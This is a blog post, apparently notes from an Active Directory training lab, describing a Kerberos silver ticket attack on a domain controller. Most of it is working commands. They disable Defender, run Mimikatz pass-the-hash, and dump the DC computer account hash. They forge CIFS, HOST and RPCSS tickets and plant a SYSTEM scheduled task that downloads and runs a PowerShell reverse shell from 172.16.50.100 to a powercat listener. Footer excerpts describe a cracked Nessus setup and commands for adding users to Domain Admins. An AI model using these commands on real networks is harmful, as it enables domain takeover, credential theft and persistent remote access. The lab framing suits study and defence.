Skip to main content

Domain dominance, Silver ticket attack - Part 4

 

For golden ticket the trust is the hash of krbtgt account hash. If dc successfully decrypts the TGT using krbtgt account hash, then it assumes that its a valid TGT. 

For silver ticket the trust is the service account or computer account ntlm/rc4 password hash. If application or service successfully decrypts that then it assumes that its a valid TGS. 

In dc, most of the services are running under the context of computer account as service account. i.e. cifs runs with the help of computer account etc. So we will target computer account. Keep in mind that computer account password are changed by default in 30 days by the system. So for maintaining persistence either you can download grade the security so that system not to change computer account password in 30 days or after a period of 30 days you need to collect the new computer account ntlm or rc4 hash again. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

From dc with DA privilege run the below command:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' 

Take the dcorp-dc$ computer ntlm or rc4 hash.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:cifs /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Now you will get the silver ticket. Give klist command to see that. 

Using that ticket access cifs service:

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

You will get access. 


Command Execution using silver ticket:

There are various ways to achieve command execution using silver ticket:

So we will create a HOST SPN that will allow us to schedule a task on the target which in turn help us to execute commands. Follow the above task first.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Give klist command to see. 

Now lets see we can list tasks on the remote dc box or not, from studentadmin machine:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local

By default the hfs web server will listen on port 8080 but we will make it to listen on port 443 by modifying the script a bit. Go to the script and add the following line at the end of the script:

Invoke-PowershellTcp -Reverse IPAddress 172.16.50.100 -Port 443

Now from your studentadmin machine, launch powercat in another powershell session:

. .\PowerCat.ps1
powercat -lvp 443 -t 1000

Then run the main command from studentadmin machine other powershell session. Admin session not required. Non-admin powershell session will also work:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString(' 'http://172.16.50.100/Invoke-PowershellTcp.ps1''')'"

or

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString('http://172.16.50.100/Invoke-PowershellTcp.ps1')'"


Now run the task:

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck"

You will get the reverse shell now.


Code or command execution via WMI. 

It requires HOST SPN and RPCSS service. We already have HOST service. Now lets do it for RPCSS. 

From a non-elevated shell of studentadmin user:

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

From that same machine:

gwmi -Class Win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local


Avi


Comments

Popular posts from this blog

Install Nessus from docker

The below two commands you need to run first one by one:  docker run -itd --name=ramisec_nessus -p 8834:8834 ramisec/nessus docker exec -it ramisec_nessus /bin/bash /nessus/update.sh Username: admin And you need to change the password: #Enter the command line of the docker container docker exec -it ramisec_nessus bash #Execute the following commands in sequence # Enter this directory cd /opt/nessus/sbin # List logged in users ./nessuscli lsuser # Modify the password of the specified user (take admin as an example) ./nessuscli chpasswd admin After access to the nessus, make sure you turn off the automatic updates otherwise crack will not work after some time. Before any scan you need to run the update.sh command (shown above) to have the latest plugins. Now everytime your system reboots, your docker instance will be shutdown. You need to up it again manually. Here are the commands.  1. docker ps -a    Now note down the container id. 2. docker start <container id> C

net command cheat sheet

  To see what users present in the system: net user To see local groups in the system: net localgroup To see domain groups. This should be run on a domain controller: net group To see the details of a user along with his/her group membership: net user mahim To see who are the members of a particular group (local machine): net localgroup "administrators"    (These are not case sensitive. You can use administrators or Administrators. Both will give you same result. To see who are the members of a particular group (domain machine): net group "domain admins" Create a local user: net user localuser1 MyP@ssw0rd /add Create a domain user: net user domainuser1 MyP@ssw0rd /add /domain Add the local user to local admin group: net localgroup Administrators localuser1 /add Add the user to domain admin group: net group "Domain Admins" domainuser1 /add /domain Avi